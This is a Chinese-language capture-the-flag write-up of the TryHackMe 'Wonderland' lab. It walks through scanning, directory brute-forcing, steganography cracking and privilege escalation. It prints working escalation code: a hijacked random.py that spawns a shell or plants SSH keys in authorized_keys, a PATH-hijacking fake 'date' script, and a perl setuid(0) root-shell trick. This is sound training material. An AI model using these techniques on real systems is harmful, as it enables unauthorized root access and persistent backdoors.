Wonderland
Write UP
题目是tryhackme的Wonderland,使用tryhackme是因为它有学习路线图、更适合新手的靶机以及经济实惠(某鱼有卷)
连接靶机
下载.ovpn文件,启动机器,在自己的机器中使用sudo命令配合openvpn连接环境,然后ping一下靶机地址,确定是否联通
收集信息
使用nmap对靶机进行扫描,获取有用信息,发现开启了22端口(ssh服务)和80端口(http服务)
- 端口22,默认 SSH(“安全外壳”)协议的端口。
- 端口80,默认 HTTP 端口。这意味着该机器运行一个网站。
因为ssh服务登录需要凭据,但是我们没有,所以先查看http服务页面,获取有用信息。下面是打开的页面,发现没有什么有用信息(后来发现follow the white rabbit是一个提示),然后查看源码也没有发现。
扫描目录
下一步就尝试扫描目录,我使用了dirsearch工具进行扫描,访问对应目录(301状态码是永久重定向),发现img和r目录下都有信息
隐写破解
我下载了img目录下的三个图片,并使用stegseek对三个图像进行了隐写破解(只对JPEG,BMP,WAV,AU文件有效),发现white_rabbit_1.jpg有隐写信息,提取其中的信息(--crack选项)。看了很久都看不懂是啥意思。
获取ssh凭据
最后看了wp和这个图知道了是不断进入目录,使用dirsearch对/r目录继续爆破,发现了a目录,以此类推(/r/a/b/b/i/t)。发现了下面的页面,查看源码获得有利信息。
SSH登录
发现没有登录页面,所以利用这个信息登录ssh,发现可行。进来发现了root.txt,使用ls -lh发现只有root才有权限查看,但是另外一个文件可以进行操作。
发现walrus_and_the_carpenter.py文件是对其中的内容进行随机(调用了random.py模块)输出10行。
权限提升
横向提权
使用find命令查找SUID文件和gtfobins,发现pkexec有记录,但是alice用户无法使用它提权
陷入了困境,继续看wp
rabbit提权
使用sudo -l命令列出目前用户可执行与无法执行的指令
发现了alice 可以以Rabbit 用户sudo身份运行他的主目录中的这个脚本,于是使用库劫持实现横向提权
查看模块调用优先级顺序:python3 -c "import sys; print(sys.path)"
在当前目录下创建random.py模块,使得在alice 以Rabbit 用户sudo身份执行该脚本时候调用该模块实现提权,即sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
random.py模块内容:
一、直接弹出rabbit用户的shell
import os os.system('/bin/bash')
二、使用密钥验证实现ssh登录rabbit用户
import os os.system('mkdir -p /home/rabbit/.ssh && cat /home/alice/id_rsa.pub > /home/rabbit/.ssh/authorized_keys') os.system('chmod 700 /home/rabbit/.ssh && chmod 600 /home/rabbit/.ssh/authorized_keys') print('ssh key injected')
密钥注意:
(1)自己机器生成密钥:ssh-keygen
(2)密钥目录:~/.ssh
(3)公钥:id_rsa.pub 、 私钥:id_rsa
(4)使用scp上传公钥到alice用户中
scp id_rsa.pub alice@IP:id_rsa.pub
(5)需要设置alice目录下的id_rsa.pub权限为可读(chmod +r file)
(6)安全考虑,ssh目录的最大权限不可以大于700,authorized_keys文件最大权限不可以大于600,不然ssh拒绝无密码登录
发现rabbit目录下有可执行teaParty文件(还有SUID和SGID标识),执行发现说需要等一个小时后才来,可是再输入就打断了。再看wp,发现需要反汇编查看源码内容(说存在段错误,后面实际没有)
- 先打开kali的ssh服务,后面弄完再关闭
- sudo systemctl start ssh
- sudo systemctl stop ssh
- 利用scp将文件传到Windows(因为工具在windows)
- cmd使用scp
hatter提权
使用Ghidra查看,发现
- uid:1003是hatter用户,hatter是文件被执行后的执行者(即文件过程中的执行者身份是hatter,它可以操作/home/hatter目录下的文件)
- 调用了date命令并且执行返回下一个小时的时间(等不了等不了)
date没有指定绝对路径(/bin/date),使用的时候会检查环境变量,执行优先出现的date命令路径
- 再获取参数,输出常量
我们利用python库劫持的想法,实现提权。
-
添加环境:export PATH=/home/rabbit:$PATH
/home/rabbit目录下:
-
vim .bashrc
-
在头部添加export PATH=/home/rabbit:$PATH(这样就可以先检测到/home/rabbit目录下的date)
-
保存退出执行source .bashrc(使新环境配置启动)
-
-
修改date文件内容
#!/bin/bash
mkdir -p /home/hatter/.ssh && cat /home/alice/id_rsa.pub > /home/hatter/.ssh/authorized_keys
chmod 700 /home/hatter/.ssh && chmod 600 /home/hatter/.ssh/authorized_keys
echo "injected successful"
whoami
-
给date执行的权限
chmod +x date
-
执行teaParty文件
在hatter目录下发现了password.txt,是hatter的明文密码(如果前面不想利用密钥免密连接,可以在date文件中修改命令,执行命令操作获取密码登录)
纵向提权
操作一波后,继续看wp,利用枚举漏洞脚本扫机器(需要可执行权限)
利用scp上传到hatter目录,然后执行发现perl配置错误(脚本使用说明)
上gtfobins查看perl是否有无密码提权方法,发现可以利用这个
use POSIX qw(setuid);
:声明我们正在使用setuid
,POSIX::setuid(0);
:我们将用户id设置为root,id 0,exec "/bin/bash";
:我们执行 Bash shell。
getShell
总结
题目强调了Linux系统的权限分配以及路径指引的重要性。
权限分配不对,导致了alice用户可以利用python库劫持实现了rabbit用户的提权,同时使用setuid导致rabbit执行的teaParty文件以hatter的身份完成操作,实现提权。再者就是perl的错误配置让setuid能够按照我们认为合适的方式切换用户id
路径指引中,使得alice使用绝对路径的/usr/bin/python3.6,不会出现问题,可是对于date命令的缺少了安全防范。